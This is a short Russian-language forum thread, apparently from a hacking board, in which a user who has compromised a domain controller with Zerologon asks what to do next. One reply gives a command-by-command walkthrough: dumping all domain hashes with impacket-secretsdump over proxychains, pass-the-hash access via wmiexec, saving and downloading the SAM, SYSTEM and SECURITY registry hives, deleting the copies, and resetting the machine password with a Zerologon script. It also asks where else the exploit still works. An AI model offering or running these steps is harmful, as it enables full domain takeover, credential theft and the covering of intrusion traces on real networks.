PrivEsc zerologon mimikatz

[SlowMan]

Есть уязвимый DC. Пробил его zerologon(из mimikatz).
Каковы дальнейшие действия?

 

[Wolverine]

Есть уязвимый DC. Пробил его zerologon(из mimikatz).
Каковы дальнейшие действия?

https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg

 

[AbyssWalker]

Дампишь хеши
proxychains4 imapcket-secretsdump -no-pass -just-dc DC_NAME\$@DC_IP -outputfile /home/dump

Подключаешься по хешу к примеру через wmiexec и делаешь
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save

достаешь хеш для возрата пароля
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

и возращаешь пасс https://github.com/risksense/zerologon
proxychains4 python3 reinstall_original_pw.py DC_NAME DC_IP MACHINE.ACC


Где-то еще зера пробивает?

 

[SlowMan]

Дампишь хеши
proxychains4 imapcket-secretsdump -no-pass -just-dc DC_NAME\$@DC_IP -outputfile /home/dump

Подключаешься по хешу к примеру через wmiexec и делаешь
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save

достаешь хеш для возрата пароля
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

и возращаешь пасс https://github.com/risksense/zerologon
proxychains4 python3 reinstall_original_pw.py DC_NAME DC_IP MACHINE.ACC


Где-то еще зера пробивает?

Разобрался. Спасибо.